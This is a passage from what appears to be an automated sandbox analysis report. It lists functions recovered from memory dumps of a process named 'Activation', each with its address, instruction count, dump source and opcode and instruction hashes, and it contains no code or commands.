Opcode Fuzzy Hash: 6aacf51f8f8bf690e7a04e3d51199be99d54ec46bb5531984fbcd1d52746be36
Instruction Fuzzy Hash: 61618E6154E3D28FCB038B7898A51D53FB0AF57225B1A85EBC484CF173E6394C4AC762

Function 01495208 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bbb6599f62fe5c0dca0da4dc0090ab142dbc187ca60c9a26e3b94665f1d9999
Instruction ID: 9f2c948150b2a032587e80335d856c2bfee163dc0875b680ee6bcf3f0004bf96
Opcode Fuzzy Hash: 4bbb6599f62fe5c0dca0da4dc0090ab142dbc187ca60c9a26e3b94665f1d9999
Instruction Fuzzy Hash: 2051FA70B146068FCF26DBADC49496EFBE6AF89310B25856BE405DB365DA70EC018B90

Function 014977C0 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f54626618c450b8934668a9675a7a32bd55c14b48be5024b7032b6813c2a820
Instruction ID: c705c42da8a1e2efca03902605b8960b43cc7a68c529003d19e4fded2f3f26bd
Opcode Fuzzy Hash: 1f54626618c450b8934668a9675a7a32bd55c14b48be5024b7032b6813c2a820
Instruction Fuzzy Hash: 40516D30A102069FDB44DFA9D594AAEBFF2FF88300F108569D509AB364DB30AC46CB91

Function 0149D110 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ec4a249c248af89a5450a9c6934a7d789be9706ce4440144af45563e3db1c69
Instruction ID: 931529c2074c04836f597fc5b58baa9145ed22470e16bf0bdb3570a29a9eb4ff
Opcode Fuzzy Hash: 8ec4a249c248af89a5450a9c6934a7d789be9706ce4440144af45563e3db1c69
Instruction Fuzzy Hash: 1D512D31E002099FDF54DF55C855BAEBFBAEB99310F2080AAE509A7360DB34AD46CF50

Function 0149A8A8 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dcd78eb2d943f81c289e570ef85de232fe7b1d8f346711924cb69354e9c877d
Instruction ID: c274d50de65e1897e1931bd4223f73f0ee8e654c0f5c3c939222b9c95753ea4c
Opcode Fuzzy Hash: 8dcd78eb2d943f81c289e570ef85de232fe7b1d8f346711924cb69354e9c877d
Instruction Fuzzy Hash: 0A515871E002598FDF14DFADC5547AEBFF2AF88310F24842AD805AB361DB799842CB91

Function 0149677A Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f678f58ac0ccb6ee3bbea7944231ed6d69e7430f4d81b7c479af7c07bb0a951
Instruction ID: 9620642a29627b6632e094e08a14f325efe25a62fda5e4130b0a86c367e5f80d
Opcode Fuzzy Hash: 4f678f58ac0ccb6ee3bbea7944231ed6d69e7430f4d81b7c479af7c07bb0a951
Instruction Fuzzy Hash: 13513130B001059FCB48EB78C95466EBBF6BF89214B2484A9D41ADB3A5DF36DD07CB80

Function 01496E80 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef1188e9fcc524b7e36100faffca97c86b063afe624f17e7038cb55bfbdaaa29
Instruction ID: f767536c0e54dc571237bb910c666e1792a3933a8b2a917bfd1d88db33ab905e
Opcode Fuzzy Hash: ef1188e9fcc524b7e36100faffca97c86b063afe624f17e7038cb55bfbdaaa29
Instruction Fuzzy Hash: 0751AD71A00606CFCB11CF69D49096AFBB5FF84320B15896AE919DB76AD730FC15CB90

Function 0149AC1C Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a7517eaf619117838f9153ff61ce089f5daf2a03630fbbfb55911380eb52a14
Instruction ID: bf97fdd642a9207badca96841bf3986e7321c5bf4d9b3b8a28767f9711a043b9
Opcode Fuzzy Hash: 4a7517eaf619117838f9153ff61ce089f5daf2a03630fbbfb55911380eb52a14
Instruction Fuzzy Hash: 2551C7B1D00319CFDF14DFA9C994ADEBBB6BF49304F20842AD809AB254DB759946CF90

Function 0149AC28 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb8e59105bab419bf43a6b1875bdffde83f5bb7188508cb5ba933e3d04b01d5e
Instruction ID: f562a7db4525d9454c5a898a22bfbbe0b3766458723e69199b9ce5a3254f1f8a
Opcode Fuzzy Hash: eb8e59105bab419bf43a6b1875bdffde83f5bb7188508cb5ba933e3d04b01d5e
Instruction Fuzzy Hash: 1551D6B1D00319DFDF14DFA9C984ADEBBB6BF48304F20802AD809AB254DB759945CF90

Function 01497C88 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f06a533620b1d34e7fdae96a38654dbeea21387a12da8e783877dba3534fc71
Instruction ID: 6af54f968d60ab89f91cc0faaffcdad12777f2520bef8d8ede6beba5eaa08dcf
Opcode Fuzzy Hash: 3f06a533620b1d34e7fdae96a38654dbeea21387a12da8e783877dba3534fc71
Instruction Fuzzy Hash: F441AF31B102168FCB45EB68D8915AE7FB6FB8A355B00466ED5069B364EF30AC06CBD1

Function 0149FCF7 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 680d8ec2702ec52c1f19185b71151eb20bc29bf7a065c3216613c0cfe82bb928
Instruction ID: 84d7f526e51902ec0fe4131e52283ce49e03eab3a1312b0b3b0c668d20f7ae13
Opcode Fuzzy Hash: 680d8ec2702ec52c1f19185b71151eb20bc29bf7a065c3216613c0cfe82bb928
Instruction Fuzzy Hash: A0514E71A00605CFCB14DF68C584A9ABFF5FF88310B14C66AE809EB355DB70E945CBA0

Function 01497610 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd99bdfa7de82359fc9b0ef376dfcfbba183084fb394c7bdb582ba99556ebb20
Instruction ID: 8443376543300c1ca91a11b0c2949386751456a356c2404eced11eb00c2f531f
Opcode Fuzzy Hash: bd99bdfa7de82359fc9b0ef376dfcfbba183084fb394c7bdb582ba99556ebb20
Instruction Fuzzy Hash: 81418135A102058FCB04EBB9D5506AEBFF6FF89314B118469D50AD7364DF34AC05CB91

Function 014979E8 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40f2e3284355e568034ac611e302e261b868784bb827af1b22c75985f07a8203
Instruction ID: 6367c4ecfc5cfc2834c7f4839f0f2cc049844e8b016d16342ce97bea04c63881
Opcode Fuzzy Hash: 40f2e3284355e568034ac611e302e261b868784bb827af1b22c75985f07a8203
Instruction Fuzzy Hash: 61415E30B102099FCB44EBB8D5906AEBBF6FF89314F108569D509EB354EB35AD06CB91

Function 0149A6D0 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 320d8e6b88d718835e5a2664b96db64cf3a35d26b826f25bd454169513803166
Instruction ID: 705e29f9428fc1dfe33cfd027b6166ed9d317318b18cf5b9eb210f19892e415b
Opcode Fuzzy Hash: 320d8e6b88d718835e5a2664b96db64cf3a35d26b826f25bd454169513803166
Instruction Fuzzy Hash: 51410F71E002099BDB04DFA9D490ADEBBF6BF88310F24856AD515BB354EB70AD46CB90

Function 05CB21CC Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1987480105.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5cb0000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1908561a72bb4c26329fc56a1b771d07ef53eb0a080476e1b311eda70a1c7013
Instruction ID: 6fdaed4bfc3f460ab98426db6c1e0f01e6aebc8829e3aaf5e5bf08e329f3ac0f
Opcode Fuzzy Hash: 1908561a72bb4c26329fc56a1b771d07ef53eb0a080476e1b311eda70a1c7013
Instruction Fuzzy Hash: A851CE38A11105DFCB44DF69D898EADBBB6FF49714B218599E4069B371CB30EC42CB40

Function 0149A6E0 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27af30ab5ae23fd96c638569c611a2334d6609ba50558eddb43cd262f22c5229
Instruction ID: c7ba0fd476725a2c41d793f01bcc6230ebc7f2fbb9a8ef763974a80167c625c1
Opcode Fuzzy Hash: 27af30ab5ae23fd96c638569c611a2334d6609ba50558eddb43cd262f22c5229
Instruction Fuzzy Hash: D9411231E002099BDF04DFA9C490ADEBBF6BF88310F24856AE505BB354DB70AD46CB90

Function 014982B3 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1202700b98509f405d6d7330876e4ee9333100af046624746cdb12f48e1c5839
Instruction ID: c355020f1051cdede6e5aedda0fd653f4258957febd00c62f20c21a7c9237abb
Opcode Fuzzy Hash: 1202700b98509f405d6d7330876e4ee9333100af046624746cdb12f48e1c5839
Instruction Fuzzy Hash: 7B416F30B0011B8FCB44EBB8E9506AE7BF6FF89304F108569D516A72A4EF34AD05CB91

Function 0149AF78 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a597ca15a02cdfe65954c277bd369ce1f5b11a97a869beca33713a326c1cf7a6
Instruction ID: 45afe3a7dfe22d1070d46b79ef3526f9dd1e4678d302103ca55a24beddbc9128
Opcode Fuzzy Hash: a597ca15a02cdfe65954c277bd369ce1f5b11a97a869beca33713a326c1cf7a6
Instruction Fuzzy Hash: DC41A0717002068FCB00DB6DE995AAEBBE2FBD5314B10C53AD529CB355DB32EC198790

Function 0149D100 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c278bf9cfc9eed52944e1dadfc33131c17e26090bdeb9da79784b4b21e3bb30
Instruction ID: bd188ed9a2a65ad24de30284a64ebbd03bb3adb38d241c75fe25d0524738d1a6
Opcode Fuzzy Hash: 2c278bf9cfc9eed52944e1dadfc33131c17e26090bdeb9da79784b4b21e3bb30
Instruction Fuzzy Hash: 85414531E102099FDB54DF65D851AAEBFBAEF99310F2080AAE449A7360DF346D45CB50

Function 0149CFB8 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cea07944268d848d757c2fedde39ce4a6c368645ff76b0bff0e3b0d2bcaaeaf0
Instruction ID: 112ce80f633984fed8c8abfa136824fc207669ca3c983eeae4d643ed66874ac1
Opcode Fuzzy Hash: cea07944268d848d757c2fedde39ce4a6c368645ff76b0bff0e3b0d2bcaaeaf0
Instruction Fuzzy Hash: E131A471B001018FCF54AFBDD41466F7BF6AF98258B20416EE40ADB3A5EE359C0287D1

Function 05CB0CF8 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1987480105.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5cb0000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1924f226692127103cbc862fbdc5f5c5cc9a2864f5f5dfed03f600a898393839
Instruction ID: 651c8967f377a40fbd8d891635d4bbe2b9a2ea608f62411054f5e26fed6de8fc
Opcode Fuzzy Hash: 1924f226692127103cbc862fbdc5f5c5cc9a2864f5f5dfed03f600a898393839
Instruction Fuzzy Hash: C2310831A012458FCB14EB78D4686EE7FB5EF5A210F04096ED006EB3A1DF799C06CB91

Function 0149A945 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee9db4e71e90df45dbbfac62bd3cbdd932c3b6a2b6ae04a179e6e8f549dd3c3e
Instruction ID: 7a537c0425445de05fcf793240528a5fb8b699bd2b16e90fb06c89f4f75f5984
Opcode Fuzzy Hash: ee9db4e71e90df45dbbfac62bd3cbdd932c3b6a2b6ae04a179e6e8f549dd3c3e
Instruction Fuzzy Hash: E54146B0D102598FDF10CFA9C94579EBFB1BF48310F24852AD815AB360D7789885CF91

Function 01491D2C Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90969e57a00b11b9e6692d78dbb52558b175aa5b8f95afbecd308eb20771e5c9
Instruction ID: 48c7d66556e537e0183845cc0c1d8f7ab5aabaac28bdecc53ba92c550cc9072c
Opcode Fuzzy Hash: 90969e57a00b11b9e6692d78dbb52558b175aa5b8f95afbecd308eb20771e5c9
Instruction Fuzzy Hash: A641F5B0D003499FDF10DFA9C594ADEBFF5AF48320F24842AE409AB254D775A94ACF90

Function 05CB2207 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1987480105.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5cb0000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 364e4bd3ed6e9e5b4d1cd053410748f61ab8e40ace678d6f039e4c57ea1b11eb
Instruction ID: c9de56bc329dde43e9e3eec66a164ae5e8c5a6c3720bfa9889b0bf69a4bfbd9b
Opcode Fuzzy Hash: 364e4bd3ed6e9e5b4d1cd053410748f61ab8e40ace678d6f039e4c57ea1b11eb
Instruction Fuzzy Hash: 4841AF78A10209CFCB44DF69D498EADBBB6FF49714F258499E5069B372CA70AC02CB40

Function 014977B0 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f18dacd5856662ecb15b4b246a9692a49e4c6a240d33e1650a99173b6e10780c
Instruction ID: 47dc61b4f76483bb3bc0af1ae649e6ff36430363cd8dfa303d15e96e8c847198
Opcode Fuzzy Hash: f18dacd5856662ecb15b4b246a9692a49e4c6a240d33e1650a99173b6e10780c
Instruction Fuzzy Hash: DC31A331E111099FCB45DBB8D5505AEBFF2FF85314B104179D41AE7225EB30AC06CB91

Function 0149A950 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 473687152efaca392b03f1f7ed0eabd877d2076e6771903ad1558dc00adbafa4
Instruction ID: 9c68a15d568ae4097c7583f91daec30556ab34e61eed15eda60846940a4b3144
Opcode Fuzzy Hash: 473687152efaca392b03f1f7ed0eabd877d2076e6771903ad1558dc00adbafa4
Instruction Fuzzy Hash: 693134B1D106588FDF10CFA9C94579EBFF1AF48310F24852AD815A7364D7789846CF91

Function 01491D38 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7d7f74cffe91b6cca9a2afd0c58c41845dd4cba7532f3b93006cb6c5529517e
Instruction ID: d24d9c333d51053d941ec0b9883dbd560728eed195bbd3031729fdd030b3eb11
Opcode Fuzzy Hash: f7d7f74cffe91b6cca9a2afd0c58c41845dd4cba7532f3b93006cb6c5529517e
Instruction Fuzzy Hash: EB41E1B0D003499FDF10DF99C584ADEBFB5AF48320F10802AE409AB264DB75A949CB90

Function 0149685D Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e16641546c5ae563ded719d69d71265c23be7c39212c2e35d7b52ee5a8109a49
Instruction ID: 0c00d68f22b46814f8c69f23f978c99287fb185cc05da1b6914c84da833ab1ae
Opcode Fuzzy Hash: e16641546c5ae563ded719d69d71265c23be7c39212c2e35d7b52ee5a8109a49
Instruction Fuzzy Hash: 53311B70B052059FCB55DF69D494AAABFF1AF49214B15C0AAE80ADB3A6DF31EC05CB10

Function 014912A1 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43c6e929ccdb2b457b7a60d3d20a8d8e628cfadcb7e42ec90ec4855733533595
Instruction ID: 96e4371160e43f02539943d61a15dde9b2e22160541917bc1d86906e8a9dfac4
Opcode Fuzzy Hash: 43c6e929ccdb2b457b7a60d3d20a8d8e628cfadcb7e42ec90ec4855733533595
Instruction Fuzzy Hash: 2331AE30B002068FDB25AB39D4906AE3FF6AB99664F14043ED006DB360DF359C02CB90

Function 05CB0BDA Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1987480105.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5cb0000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20f161b53a167feed8b70e032af647df8ebfb2578dabb6dba3c66247c2fa09c4
Instruction ID: 58de6c65e73b1df344309a7a57a2a1c46a9278851123383f9cd93a592a788613
Opcode Fuzzy Hash: 20f161b53a167feed8b70e032af647df8ebfb2578dabb6dba3c66247c2fa09c4
Instruction Fuzzy Hash: 4E21AD32A002158BDB24EB75D4597EE7BF6AF98345F10083ED406BB3A0EF798901CB91

Function 01497E20 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a23091051de124300da71e61ae1f7b361e3e7341eba8fa436229a9f12709c0ab
Instruction ID: ec2d02f2330567da44502417cb252c4f2b13690d25a9c6719518adbc6ceedbdf
Opcode Fuzzy Hash: a23091051de124300da71e61ae1f7b361e3e7341eba8fa436229a9f12709c0ab
Instruction Fuzzy Hash: AB21E7316093424FCB12CB78DD611AE7FB5EF86310B0581EBD445DF266EB34AD0A8B91

Function 0149D659 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d7bf77aba2a9119f9fbbf25c35c5872d2560cc6cf2fa13372958d0a68fd8415
Instruction ID: bee24c01a4cf557f95d012643d17b8d840e8e78c911e496df5d841780ea5894b
Opcode Fuzzy Hash: 5d7bf77aba2a9119f9fbbf25c35c5872d2560cc6cf2fa13372958d0a68fd8415
Instruction Fuzzy Hash: 7C218635B001069FCB44EB69DC909BEBFF5EFA9210B64406AE509DB351DE34AC06CBA0

Function 014975B0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f7459970511bccb98439efbba4cb9d460b44e90698a95c18a71c08c820a15db
Instruction ID: 9588711bc53a2ce30adcff4f44b7fd7bf77fca6698a5d45be2e1becacd06aef2
Opcode Fuzzy Hash: 7f7459970511bccb98439efbba4cb9d460b44e90698a95c18a71c08c820a15db
Instruction Fuzzy Hash: E221D231B483818FCB169B39E9100D9BFB5AE8632431585FBD588CF277DA349D46CBA1

Function 0149D739 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b6e3945b6b456438966b7c195c51e2ef150a174b0a7f90fe106469e7f065bf0
Instruction ID: 22657f13d8b679796e2511db192f27d951c3cc61451ef073e8e573b37ef2c7dd
Opcode Fuzzy Hash: 1b6e3945b6b456438966b7c195c51e2ef150a174b0a7f90fe106469e7f065bf0
Instruction Fuzzy Hash: 4231F1B5D00259AFDB14CFA9D984ADEFFB4FF48324F14846AE818A7210D7749944CFA0

Function 0149D740 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ac9734f1ad660e50aecd96e53010ac3ce613336f796448b3e780f7fa9ade4ff
Instruction ID: 48593a35544ac204e711393a64c5b36be0ef8bd4d3971523ec93c42ed8cd7f2c
Opcode Fuzzy Hash: 1ac9734f1ad660e50aecd96e53010ac3ce613336f796448b3e780f7fa9ade4ff
Instruction Fuzzy Hash: 2431E6B5D002599FDB14DFA9D984ADEFFB4FF48324F14842AE918A7210D7749944CFA0

Function 014982C0 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbea8393059615cc9a887d2b36537ad41da51ebb3e03131016e2bae59e55b45a
Instruction ID: 5a4ef6016d92f51379e446ee925f20e52e27ec688f91a9a2c89f20f2d4163e61
Opcode Fuzzy Hash: dbea8393059615cc9a887d2b36537ad41da51ebb3e03131016e2bae59e55b45a
Instruction Fuzzy Hash: A0218B31B1011A8FCB54EA79D85066F7BEAEB99354F108069D50AD33A4EF34AC02C7D1

Function 01499CA1 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 260cb8f746884d54db1718e2adeb6ac5c908d2adeafad1830a7a885f1ddb96b0
Instruction ID: 69241074e327b4ef9da97dc58ef05b3fe725c75da4b4a9f9867aef9a74e45200
Opcode Fuzzy Hash: 260cb8f746884d54db1718e2adeb6ac5c908d2adeafad1830a7a885f1ddb96b0
Instruction Fuzzy Hash: 512102317052948FDB159B7894206AE7FB1AF97214B28C1EBC4488F3A2CA358C47C792

Function 013FD078 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960259271.00000000013FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13fd000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fca50ff0b09379f07204b6fa011408822fdb52a2cb44467710a44d1097c8a8f3
Instruction ID: 99a6eea7af7424538e812bd956406167cbc58e172a1a0dbf9010a4e02f6672ce
Opcode Fuzzy Hash: fca50ff0b09379f07204b6fa011408822fdb52a2cb44467710a44d1097c8a8f3
Instruction Fuzzy Hash: D0213875504209DFDB11DF58D9C8B26BB69FB84328F24C56DEA090B746C33AE446CA61

Function 013FD228 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960259271.00000000013FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13fd000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
